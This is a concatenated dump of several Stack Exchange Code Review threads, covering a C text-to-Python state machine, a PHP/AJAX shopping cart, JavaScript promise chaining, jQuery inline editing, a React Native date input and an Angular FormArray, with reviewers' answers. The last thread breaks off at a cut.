fprintf(stderr, "Could not allocate enough memory to perform compilation.");
return -1;
}
char** rectangles; //all future regtangles will be stored here
rectangles = malloc(SPACE_FOR_RECTANGLES*sizeof(char*)); /*for the moment, make space for
SPACE_FOR_RECTANGLES */
if(points != NULL){
for(int i = 0; i < SPACE_FOR_RECTANGLES; i++){
/*
This is a rectangle to be stored:
((double,double,double),(double,double,double),(double,double,double))\0
Calloc is better, because we can later break
creating the list of points/rectangels, when first char is not '(',
which is not necessarily the case for malloc.
*/
rectangles[i] = calloc(MAX_DIGITS_RECT, 1);
if(rectangles[i] == NULL){
fprintf(stderr, "Could not allocate enough memory to perform compilation.");
return -1;
}
}
} else {
fprintf(stderr, "Could not allocate enough memory to perform compilation.");
return -1;
}
char bool_appended_rectangle = 0; //Was a list already printed?
char bool_appended_points = 0; //Was a list already printed?
int numbers_written = 0; //counter
int points_index = -1;
int rectangels_index = -1;
size_t actual_index = 0; //counter
enum{name, openparen, comma, number, endparen, error} state = endparen;
enum{point, rectangle} shape = point;
//State machine
for (char ch = fgetc(fp); ch != EOF; ch = fgetc(fp)) {
if(isspace(ch)){
continue;
}
switch(state){
case name:
if(ch == '('){
state = openparen;
switch (shape) {
case rectangle:
rectangles[rectangels_index][actual_index++] = ch;
break;
case point:
points[points_index][actual_index++] = ch;
break;
default:
break;
}
} else {
state = error;
}
break;
case openparen:
if(ch == '('){
switch (shape) {
case rectangle:
rectangles[rectangels_index][actual_index++] = ch;
state = openparen;
break;
case point:
state = error;
break;
default:
break;
}
}
if(isdigit(ch)){
numbers_written++;
switch (shape) {
case rectangle:
rectangles[rectangels_index][actual_index++] = ch;
state = number;
break;
case point:
points[points_index][actual_index++] = ch;
state = number;
break;
default:
break;
}
}
break;
case number:
if(isdigit(ch)){
switch (shape) {
case rectangle:
rectangles[rectangels_index][actual_index++] = ch;
break;
case point:
points[points_index][actual_index++] = ch;
break;
default:
break;
}
break;
}
if(ch == ','){
switch (shape) {
case rectangle:
if(numbers_written <= 9){
rectangles[rectangels_index][actual_index++] = ch;
state = comma;
} else {
state = error;
}
break;
case point:
if(numbers_written <= 3){
points[points_index][actual_index++] = ch;
state = comma;
} else {
state = error;
}
default:
break;
}
break;
}
if(ch == ')'){
switch (shape) {
case rectangle:
if(numbers_written%3 == 0){
rectangles[rectangels_index][actual_index++] = ch;
state = endparen;
} else {
state = error;
}
break;
case point:
//printf("%d", numbers_written);
if(numbers_written == 3){
state = endparen;
points[points_index][actual_index++] = ch;
} else {
state = error;
}
break;
default:
break;
}
break;
}
if(ch == '.'){
points[points_index][actual_index++] = ch;
break;
}
state = error;
break;
case endparen:
switch (state) {
case point:
points[points_index][actual_index++] = '\0';
break;
case rectangle:
rectangles[rectangels_index][actual_index++] = '\0';
break;
default:
break;
}
if(ch == '(' || ch == 'P'){
if(++points_index >= SPACE_FOR_POINTS){
printPointList(bool_appended_points, points, points_index-1);
bool_appended_points = 1;
//clear all Strings
for(int i = 0; i < points_index; i++){
points[i] = calloc(MAX_DIGITS_POINTS, 1);
}
points_index = 0;
}
}
if(ch == '('){
actual_index = 0;
points[points_index][actual_index++] = ch;
shape = point;
state = openparen;
numbers_written = 0;
break;
}
if(ch == 'P'){
actual_index = 0;
state = name;
shape = point;
numbers_written = 0;
break;
}
if(ch == 'R'){
if(++rectangels_index >= SPACE_FOR_RECTANGLES){
printRectangleList(bool_appended_rectangle, rectangles, rectangels_index-1);
bool_appended_rectangle = 1;
//clear all strings
for(int i = 0; i < rectangels_index; i++){
rectangles[i] = calloc(MAX_DIGITS_RECT, 1);
}
rectangels_index = 0;
}
actual_index = 0;
state = name;
shape = rectangle;
numbers_written = 0;
break;
}
if(ch == ','){
if(shape == rectangle){
if(numbers_written < 9){
rectangles[rectangels_index][actual_index++] = ch;
state = comma;
} else {
state = error;
}
}
break;
}
if(ch == ')'){
if(shape == rectangle){
rectangles[rectangels_index][actual_index++] = ch;
rectangles[rectangels_index][actual_index++] = '\0';
break;
}
}
state = error;
break;
case comma:
switch (shape) {
case point:
if(isdigit(ch)){
numbers_written++;
state = number;
points[points_index][actual_index++] = ch;
break;
}
state = error;
break;
case rectangle:
if(isdigit(ch)){
numbers_written++;
rectangles[rectangels_index][actual_index++] = ch;
state = number;
break;
}
if(ch == '('){
rectangles[rectangels_index][actual_index++] = ch;
state = openparen;
break;
}
state = error;
break;
default:
break;
}
break;
default:
fprintf(stderr, "Error: Corrupted File.");
return -1;
}
}
printPointList(bool_appended_points, points, points_index);
printRectangleList(bool_appended_rectangle, rectangles, rectangels_index);
printf("print(points)\n");
printf("print(rectangels)\n");
fclose(stdout); //needed?
fclose(fp);
return 1;
}
void printPointList(char appended, char** points, int index){
if(!appended){
appended = 1;
printf("points = [\n");
} else {
printf("points.extend(\n");
}
for(int i = 0; i <= index; i++){
printf("%s,\n", points[i]);
}
if(!appended){
printf("]\n");
} else {
printf("])\n");
}
}
void printRectangleList(char appended, char** rectangles, int index){
if(!appended){
appended = 1;
printf("rectangle = [\n");
} else {
printf("rectangle.extend(\n");
}
for(int i = 0; i <= index; i++){
printf("%s,\n", rectangles[i]);
}
if(!appended){
printf("]\n");
} else {
printf("])\n");
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T14:09:49.817",
"Id": "431202",
"Score": "1",
"body": "Maybe I'm mistaken but I think this could be 2 separate questions that would target two very different set of reviewing skills. You have C code that translates text into python code, which will then print shapes?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T16:37:48.690",
"Id": "431222",
"Score": "1",
"body": "You assume correctly. I only care for the C code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:37:48.483",
"Id": "431546",
"Score": "0",
"body": "Or at least not so much about the python code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T16:25:48.650",
"Id": "431606",
"Score": "0",
"body": "Is there any reason for `points.extend` at all?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T20:52:21.880",
"Id": "431649",
"Score": "0",
"body": "Sure, writing everything in one list makes it unreadable. So I thought chunking would sustain some readability..."
}
] | [
{
"body": "<h2>Choice of language</h2>\n\n<p>I understand you probably want to do this in C, but I felt it was worth mentioning that Python is a much more suitable language for this task.</p>\n\n<h2>malloc call</h2>\n\n<p>You're using <code>points = malloc(SPACE_FOR_POINTS * sizeof(char*))</code>. I'll advice you to instead use <code>points = malloc(SPACE_FOR_POINTS * sizeof(*points))</code> to prevent problems if you change type of <code>points</code> in the future. </p>\n\n<h2>Comparing pointers to NULL</h2>\n\n<p>Not a big deal, but checking if a pointer is valid with <code>if(ptr)</code> or not valid with <code>if(!ptr)</code> is so common in C that it adds almost no readability. </p>\n\n<h2>Comments</h2>\n\n<p>You're using some unmotivated comments. Like when you are wasting 7(!) lines just to explain why you are using <code>calloc</code> instead of <code>malloc</code>.</p>\n\n<h2>return instead of exit</h2>\n\n<p>Using return instead of exit works as long as you're in the main function. So if you have a return statement that should quit the program, then instead use <code>exit(EXIT_FAILURE)</code> so that it does not matter if you refactor it into a function.</p>\n\n<h2>Massive main function</h2>\n\n<p>The thing that strikes me most is that you have a massive main function with a really huge switch statement. The first thing I would do put the whole switch statement into a function with the signature <code>enum state DFA(enum state state, char ch)</code> and then have a main loop like this:</p>\n\n<pre><code>for (char ch = fgetc(fp); ch != EOF; ch = fgetc(fp)) {\n state = DFA(state, ch);\n if(state == error) { /* Handle error*/ }\n}\n</code></pre>\n\n<p>But this would not be enough, since your states are much more complicated than that. The actual state of your machine is a combination of <code>state</code> and <code>shape</code>. So I would rename the current <code>state</code>. I will choose <code>category</code> but I'm sure you can come up with something better. Then I would do this:</p>\n\n<pre><code>struct state {\n enum category;\n enum shape;\n};\n\nstruct state DFA(struct state state, char ch);\n</code></pre>\n\n<p>Of course, you would also need to pass <code>rectangles</code>, <code>points</code>, <code>rectangles_index</code>, <code>points_index</code> and <code>actual_index</code> somehow. I would use a struct for that:</p>\n\n<pre><code>struct data {\n char **rectangles;\n char **points;\n size_t rectangle_index;\n size_t points_index;\n size_t actual_index;\n};\n\nstruct state DFA(struct state state, char ch, struct data * data);\n</code></pre>\n\n<p>Another alternative would be to just declare them as globals. Don't think that would be a too terrible idea in your project.</p>\n\n<h2>Massive switch</h2>\n\n<p>I would consider rewriting the whole automata. I would have rewritten it a bit like this:</p>\n\n<pre><code>switch(state) {\ncase name:\n nameFunction(ch, data); break;\ncase openparen:\n openparenFunction(ch, data); break;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T10:36:25.653",
"Id": "431545",
"Score": "0",
"body": "Hey thank you for your suggestion; I also considered reducing the size of main but was not sure about the concrete design-choice. My goal is indeed writing this in C, so I learn C. \nIn Python, I would have considered this way to easy, since there are fundamentals I do not have to care about. I think I will create more complex compiler-exercises in python in the future and hope for your review :)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T09:04:08.523",
"Id": "432064",
"Score": "0",
"body": "Why would you not pass pointers into the DFA and return void? What does state mean?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-27T09:30:58.503",
"Id": "432073",
"Score": "0",
"body": "Okay, while refactoring I figured out why. Because you have to dereference tons of time!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-23T18:57:08.977",
"Id": "222822",
"ParentId": "222688",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222822",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T07:06:03.343",
"Id": "222688",
"Score": "3",
"Tags": [
"c",
"strings",
"coordinate-system",
"state-machine",
"compiler"
],
"Title": "State machine translates text into executable python code [v2]"
} | 222688 |
<p>I build a cart for an ecommerce website, and I want to know if I did well.</p>
<p>I want to record the changes in the DB and display the information from the DB to the customer. To be sure that what he sees is the good information. I use an ajax request and JSON to do so.</p>
<p>Please give me your comments. I especially want to know is my code safe?</p>
<p>The client side:</p>
<pre><code> function save_to_db(cartId, newQuantity) {
$.ajax({
url: "updateCart.php",
data: "cartId=" + cartId + "&newQuantity=" + newQuantity + "&memberId=" + <?php echo $memberId?>,
type: 'post',
dataType: "json",
success: function(response) {
if (response === "Empty cart") {
$("#total-quantity").text(0);
$("#total-price").text(0);
$("#shopping-cart-table").html("<h2><b style='color:red'>Your cart is empty.</b></h2>");
}
if (newQuantity == 0) {
$("#item-container-" + cartId).remove();
}
var totalQuantity = 0;
var totalItemPrice = 0;
$.each(response, function(key, cartDetails) {
totalItemPrice = totalItemPrice + parseInt(cartDetails.price) * parseInt(cartDetails.quantity);
totalQuantity = totalQuantity + parseInt(cartDetails.quantity);
if (cartDetails.cartId == cartId) {
$("#input-quantity-" + cartId).val(cartDetails.quantity);
$("#cart-price-" + cartId).text("$" + cartDetails.price * cartDetails.quantity);
}
});
$("#total-quantity").text(totalQuantity);
$("#total-price").text(totalItemPrice);
$("#total-price-foot").text(totalItemPrice);
}
});
}
</code></pre>
<p>The server side:</p>
<pre><code> <?php
require 'connectDB.php';
$memberId = $_POST["memberId"];
if($_POST["newQuantity"] == 0){
$stmt = mysqli_prepare($conn,"DELETE FROM tbl_cart WHERE id = ? AND member_id = ?");
mysqli_stmt_bind_param($stmt, "ii", $_POST["cartId"], $memberId);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt);
}
elseif ($_POST["newQuantity"] == 1 || $_POST["newQuantity"] == -1) {
$stmt = mysqli_prepare($conn,"UPDATE tbl_cart SET quantity =
(CASE WHEN quantity + ? > 0 THEN quantity + ? ELSE quantity END)
WHERE id= ? AND member_id = ?");
mysqli_stmt_bind_param($stmt, "iiii",
$_POST["newQuantity"],
$_POST["newQuantity"],
$_POST["cartId"],
$memberId);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt);
}
if ($stmt = mysqli_prepare($conn,"SELECT tbl_product.id, tbl_product.price, tbl_cart.quantity, tbl_cart.id
AS cartId FROM tbl_product, tbl_cart WHERE tbl_product.id = tbl_cart.product_id AND tbl_cart.member_id = ?")) {
mysqli_stmt_bind_param($stmt, "i", $memberId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
while ($row = mysqli_fetch_assoc($result)){
$cartDetails[] = $row;
}
mysqli_stmt_close($stmt);
}
if(isset($cartDetails)){
$response = json_encode($cartDetails);
echo $response;
}
else{
$response = json_encode("Empty cart");
echo $response;
}
?>
</code></pre>
| [] | [
{
"body": "<p>So far what I see is you aren't either casting nor sanitizing your <code>$_POST</code> variables but simply placing them into your SQL statement - it's better you perform some sort of filtering on those arguments (e.g. remove whitespaces, fixing invalid characters like <code>'\\'</code> to <code>'\\\\'</code>, etc.) and ensure you are passing numbers (according to your example you'd maybe use <code>intval()</code>), not a string or <code>NULL</code> value (unless that's intended, which I doubt).</p>\n\n<p>In addition, the server-end should separate the database calls from parsing and filtering content - either as separate functions, files and/or both; if you were going the OOP route, then you'd set up a class(es) for either activity and use a layering system like MVC, N-Tier, MVVC.</p>\n\n<p>All of this goes into making your code more reusable and easier to manage plus adds a layer of security via \"Abstraction\".</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T11:03:05.170",
"Id": "222699",
"ParentId": "222689",
"Score": "1"
}
},
{
"body": "<p>In your action processing script, you should, before doing anything else, validate the input. If anything is outside of the expected range of values, you should immediately return a failure response.</p>\n\n<p>I will also urge you to write your query functions in object-oriented syntax rather than procedural because it is more brief and easier to read (IMO).</p>\n\n<p>Since you are returning json, I recommend that you always return some sensibly keyed objects containing predictable data types for your javascript to handle. You may consider <code>status</code>, <code>message</code>, and <code>data</code> as included keys no matter the outcome, this will make the javascript handling much cleaner.</p>\n\n<p>The following rewrite will exercise reduced variable generation, and less complex & more readable logic and queries.</p>\n\n<p>The action processing script:</p>\n\n<pre><code>if (empty($_POST[\"memberId\"]) ||\n empty($_POST[\"cartId\"]) ||\n !isset($_POST[\"newQuantity\"]) ||\n !ctype_digit($_POST[\"memberId\"]) ||\n !ctype_digit($_POST[\"cartId\"]) ||\n !in_array($_POST[\"newQuantity\"], [-1, 0, 1])\n) {\n exit(json_encode(['status' => 'fail',\n 'message' => 'Missing/Invalid request data',\n 'data' => []]));\n}\n\nrequire 'connectDB.php'; // adjust this to OO style instead of procedure\n\nif (!$_POST[\"newQuantity\"]) {\n $query = \"DELETE FROM tbl_cart WHERE id = ? AND member_id = ?\";\n} elseif ($_POST[\"newQuantity\"] == 1) {\n $query = \"UPDATE tbl_cart SET quantity = quantity + 1 WHERE id = ? AND member_id = ?\";\n} else {\n $query = \"UPDATE tbl_cart SET quantity = quantity - 1 WHERE quantity > 0 AND id = ? AND member_id = ?\";\n}\n$stmt = $conn->prepare($query);\n$stmt->bind_param('ii', $_POST[\"cartId\"], $_POST[\"memberId\"]);\n$stmt->execute();\n$stmt->close();\n\n$stmt = $conn->prepare($conn, \"SELECT p.id, p.price, c.quantity, c.id AS cartId \n FROM tbl_product AS p\n INNER JOIN tbl_cart AS c on p.id = c.product_id\n WHERE c.member_id = ?\");\n$stmt->bind_param('i', $_POST[\"memberId\"]);\n$stmt->execute();\n$result = $stmt->get_result();\nexit(json_encode(['status' => 'pass',\n 'message' => 'Shopping cart updated',\n 'data' => $result->fetch_all(MYSQLI_ASSOC)]));\n</code></pre>\n\n<p>Now you javascript can be adjusted to process these very useful, meaningful, and always-available values (which ALWAYS have the same data type) via:</p>\n\n<ul>\n<li><code>response.status</code> (string)</li>\n<li><code>response.message</code>(string)</li>\n<li><code>response.data</code>(an empty or multi-dimensional array)</li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-22T04:45:14.317",
"Id": "222746",
"ParentId": "222689",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "222746",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T08:02:05.063",
"Id": "222689",
"Score": "3",
"Tags": [
"javascript",
"php",
"sql",
"ajax"
],
"Title": "Shopping cart with Ajax"
} | 222689 |
<p>I have this function and looks ugly because there are a lot of "catch" doing the same. Any idea how to make it better?</p>
<pre><code>saveUser: function(){
let user_id = this.$route.params.user_id;
let payload = this.user;
updateUser(user_id, payload).then(response => {
updateOrCreateAddresses(payload).then(response => {
updateOrCreateBalances(payload).then(response => {
this.success();
}).catch(error => {
this.showError(error)
})
}).catch(error => {
this.showError(error)
})
}).catch(error => {
this.showError(error)
})
},
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:13:57.117",
"Id": "431173",
"Score": "1",
"body": "Welcome to Code Review! Your question has to [describe what you are actually trying to accomplish](https://codereview.stackexchange.com/help/how-to-ask) in as much detail as possible. With not much code and basically no context, it is unlikely to get meaningful reviews."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:18:33.807",
"Id": "431176",
"Score": "0",
"body": "Hello @AlexV, I want to improve or make the code looks a bit better. Having the catches repeated may not be the best practice"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T11:12:54.313",
"Id": "431181",
"Score": "2",
"body": "My question was not what you expect from the review, but the type of application this code is used for (your use-case)."
}
] | [
{
"body": "<p>As I am not sure on how your Promises work, this is what I can come up with.</p>\n\n<p>To reduce your <code>catch</code> nesting you could make each promise return another promise. This would force you to have a general <code>.then</code> and a general <code>.catch</code> after your <code>updateUser</code> method.</p>\n\n<p>I stubbed a bit of code here:</p>\n\n<pre><code>var updateUser = new Promise(function(resolve, reject) {\n resolve(\"Promise one\");\n});\n\nvar updateOrCreateAddresses = new Promise(function(resolve, reject) {\n reject(\"Promise two\"); // e.g. replace reject with resolve to see it \"pass\"\n});\n\nvar updateOrCreateBalances = new Promise(function(resolve, reject) {\n resolve(\"Promise three\");\n});\n\nvar success = () => {\n alert(\"Success\");\n}\n\nupdateUser.then( x => {\n return updateOrCreateAddresses.then(y => {\n return updateOrCreateBalances.then(z => {\n return success;\n })\n })\n})\n.then(a => a())\n.catch(err => alert(err));\n</code></pre>\n\n<p>What happens there? Each promise is returning another promise. If one promise fails, the promise will return the \"error\" to it's parent, where on <code>updateUser</code> the promise get's finally caught.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T10:22:25.127",
"Id": "222697",
"ParentId": "222693",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T09:52:55.753",
"Id": "222693",
"Score": "0",
"Tags": [
"javascript",
"react.js",
"vue.js"
],
"Title": "Repetitive then/catch method on Javascript"
} | 222693 |
<p>I'm not sure how to title this post as I'm a bit confuse here. My code updates a field in line. It's done in two separate functions. It works well but I wonder if it's possible to handle it in only one function?</p>
<p>Here is the <strong>HTML</strong> code. The <code>form</code> is shown on <code>hover</code> only and value is updated <strong>on change</strong>.</p>
<pre><code><form class='editable' action="{% url "dashboard_staff:ajax_prestation_length_update" uuid=prestation.uuid %}" method="post">
{% csrf_token %}
<input type="text" class="collapse" name="length" value="{{ prestation.length }}">
<span>{{ prestation.d_length }}</span>
</form>
</code></pre>
<p>And the javascript:</p>
<pre><code>
// Editable in line fields
$('.editable').hover(function () {
var el_text = this.lastElementChild;
var el_input = this[1];
$(el_text).toggleClass('collapse');
$(el_input).toggleClass('collapse');
});
$('.editable').change(function () {
event.preventDefault();
var el_text = this.lastElementChild;
var action = this.action;
var method = this.method;
var data = $(this).serialize();
$.ajax({
url: action,
type: method,
data: data,
}).done(function (resp) {
el_text.textContent = resp.data
});
});
</code></pre>
<p>I'm not sure it is correct to add multiple functions to a same class as well.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T12:38:09.157",
"Id": "431190",
"Score": "1",
"body": "You can use multiple events of the same element. No problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T12:51:32.710",
"Id": "431191",
"Score": "0",
"body": "I wasn't sure since my IDE highlights these as redundant. thanks."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T11:13:17.220",
"Id": "222700",
"Score": "2",
"Tags": [
"javascript",
"beginner"
],
"Title": "Add events on same class multiple times"
} | 222700 |
<p>I have created a date component (working GIF at the bottom; please ignore the styling). </p>
<p>There isn't a problem with the working of the code but rather the code I wrote seems messy and something hard for any other person to comprehend. </p>
<p>This is what I am doing: For the date Component in screen, I am creating refs and state like this </p>
<pre><code>class OnBoarding extends PureComponent {
constructor(props) {
super(props)
this.d1 = React.createRef()
this.d2 = React.createRef()
this.d3 = React.createRef()
this.d4 = React.createRef()
this.d5 = React.createRef()
this.d6 = React.createRef()
this.d7 = React.createRef()
this.d8 = React.createRef()
}
state = {
name: '',
emailAddress: '',
dob: '',
male: null,
female: null,
keyboard: false,
d1: null,
d2: null,
d3: null,
d4: null,
d5: null,
d6: null,
d7: null,
d8: null
}
dobHandler(number, flag) {
const completeFlag = `d${flag}`
this.setState({[completeFlag]: number})
flag = flag + 1
if (flag < 9 && number) {
const nextFlag = `d${flag}`
const textInputToFocus = this[nextFlag]
textInputToFocus.current.focus()
}
}
</code></pre>
<p>And then rendering them like this </p>
<pre><code> <View style={styles.dob}>
<TextInput
ref={this.d1}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="D"
onChangeText={number => this.dobHandler(number, 1)}
/>
<TextInput
ref={this.d2}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="D"
onChangeText={number => this.dobHandler(number, 2)}
/>
<Text>/</Text>
<TextInput
ref={this.d3}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="M"
onChangeText={number => this.dobHandler(number, 3)}
/>
<TextInput
ref={this.d4}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="M"
onChangeText={number => this.dobHandler(number, 4)}
/>
<Text>/</Text>
<TextInput
ref={this.d5}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="Y"
onChangeText={number => this.dobHandler(number, 5)}
/>
<TextInput
ref={this.d6}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="Y"
onChangeText={number => this.dobHandler(number, 6)}
/>
<TextInput
ref={this.d7}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="Y"
onChangeText={number => this.dobHandler(number, 7)}
/>
<TextInput
ref={this.d8}
numberOfLines={1}
maxLength={1}
style={styles.textInputDob}
keyboardType="numeric"
placeholder="Y"
onChangeText={number => this.dobHandler(number, 8)}
/>
</View>
</code></pre>
<p>The reason I have made so many <code>ref</code> is because the moment someone enters something in the current <code>textInput</code>, I want the focus to moved to the next one, which happens in <code>dobHandler</code> function. </p>
<p>Can someone help me in improving quality/optimizing and if this is the wrong way of doing it, then hint me on <strong>how to achieve this alternatively</strong>?</p>
<p><a href="https://i.stack.imgur.com/hGBHV.gif" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/hGBHV.gif" alt="enter image description here"></a></p>
| [] | [
{
"body": "<p>You're doing it correct – this is a perfect use case for refs and the state management is done equally well.\nHowever, your code suffers from repetition and can be <a href=\"https://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" rel=\"nofollow noreferrer\">DRY</a>ed up. A quick way to greatly reduce the amount of code and resulting complexity is to simply <strong>use arrays</strong>:</p>\n\n<ol>\n<li><strong>Save the refs</strong> in an array in <em>one</em> instance variable</li>\n<li><strong>Store the current values</strong> in an array in <em>one</em> state field</li>\n<li><strong>Render the text fields</strong> inside an iterator over one of them</li>\n</ol>\n\n<p>A version of this, adjusted to the web / ReactDOM, might look like this: </p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"true\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>class OnBoarding extends React.Component {\n state = {\n dateFieldValues: [null, null, null, null, null, null, null, null]\n }\n\n constructor(props) {\n super(props)\n this.dateFieldRefs = this.state.dateFieldValues.map(() => React.createRef())\n }\n\n setDateFieldValue(index, text) {\n this.setState(({dateFieldValues}) => {\n dateFieldValues[index] = text\n return {dateFieldValues}\n })\n if (index < this.state.dateFieldValues.length - 1) {\n this.dateFieldRefs[index + 1].current.focus()\n }\n }\n\n render() {\n return this.dateFieldRefs.map((ref, index) => (\n <input\n ref={ref}\n onChange={text => this.setDateFieldValue(index, text)}\n />\n ))\n }\n}\n\nReactDOM.render(<OnBoarding />, document.getElementById('root'))</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script src=\"https://cdnjs.cloudflare.com/ajax/libs/react/16.6.3/umd/react.production.min.js\"></script>\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/react-dom/16.6.3/umd/react-dom.production.min.js\"></script>\n\n<div id=\"root\" /></code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p><em>A library such as <a href=\"https://lodash.com/docs/4.17.15#range\" rel=\"nofollow noreferrer\">lodash</a> could be used to make the array initialization more readable, i.e. <code>range(8).map(() => null)</code>.</em></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-09-03T20:42:47.227",
"Id": "227431",
"ParentId": "222710",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T14:19:23.757",
"Id": "222710",
"Score": "2",
"Tags": [
"javascript",
"datetime",
"form",
"react.js",
"react-native"
],
"Title": "Date prompt React.js component"
} | 222710 |
<p>Stackblitz - <a href="https://stackblitz.com/edit/angular-plp4rb-formarray-total-prs9ay" rel="nofollow noreferrer">https://stackblitz.com/edit/angular-plp4rb-formarray-total-prs9ay</a></p>
<p>I'm new to RxJS observables.</p>
<p>I've created a form array where the total for a line is <code>quantity * rate</code>. Via <code>valueChanges</code> for the line form group I set the total via the <code>calcTotal</code> method. </p>
<p>On form changes I emit all the lines up to parent to calculate the total.</p>
<p><strong>Questions:</strong></p>
<ol>
<li>Do I have any memory leaks?</li>
<li>Why is it if I stick <code>debounceTime(1)</code> inside the lineItem valueChanges then this stops working where the calculation is out by the last change?</li>
</ol>
<pre><code> lineItem.valueChanges.pipe(
takeUntil(this.destroyed$),
debounceTime(1)
).subscribe(value => this.calcTotal(lineItem))
</code></pre>
<ol start="3">
<li>Why is it if I remove the <code>{emitEvent: false}</code> and put in a <code>debounceTime</code> as above the total stops working altogether?</li>
<li>Should i be using some other way like <code>combineLatest</code>? If so how do I collect the valueChanges observables (I'll figure it out from here if this is required)?</li>
</ol>
<pre><code>import { Component, OnInit, Input, Output, EventEmitter, ViewChild } from '@angular/core';
import { FormArray, FormBuilder, FormControl, FormGroup } from '@angular/forms'
import { Subject } from 'rxjs'
import { takeUntil, debounceTime} from 'rxjs/operators'
import { MatTable } from '@angular/material';
import { Line } from '../app.component';
@Component({
selector: 'app-total-calculator',
templateUrl: './total-calculator.component.html',
styleUrls: ['./total-calculator.component.css']
})
export class TotalCalculatorComponent implements OnInit {
displayedColumns = ['quantity', 'rate', 'total'];
formGroup: FormGroup;
@Input() lines: Line[];
@Output() linesChange = new EventEmitter<Line[]>();
@ViewChild(MatTable) private matTable: MatTable<any>;
get linesArray(): FormArray {
return this.formGroup.get('lines') as FormArray;
}
private destroyed$ = new Subject<void>();
constructor(private fb: FormBuilder) {
this.buildForm();
}
ngOnDestroy() {
this.destroyed$.next();
this.destroyed$.complete();
}
addLineClick() {
this.addLineFormGroup();
}
addLineFormGroup() {
this.linesArray.push(this
.getLineFormGroup());
this.matTable.renderRows();
}
private buildForm() {
// formarray
this.formGroup = this.fb.group({
lines: this.fb.array([])
});
// subscribe to any changes and emit these
this.formGroup.valueChanges.pipe(
takeUntil(this.destroyed$),
debounceTime(300)
).subscribe(value => {
if (!this.formGroup.valid) {
return;
}
this.linesChange.emit(value['lines']);
});
}
getLineFormGroup(): FormGroup {
let lineItem = this.fb.group({
quantity: new FormControl(),
rate: new FormControl(),
total: new FormControl()
});
lineItem.valueChanges.pipe(
takeUntil(this.destroyed$),
).subscribe(value => this.calcTotal(lineItem))
return lineItem
}
calcTotal(line: FormGroup) {
const quantity = +line.controls['quantity'].value;
const rate = +line.controls['rate'].value;
line.controls['total'].setValue((quantity * rate).toFixed(2), {emitEvent: false});
}
ngOnInit() {
}
}
<span class="math-container">```</span>
</code></pre>
| [] | [
{
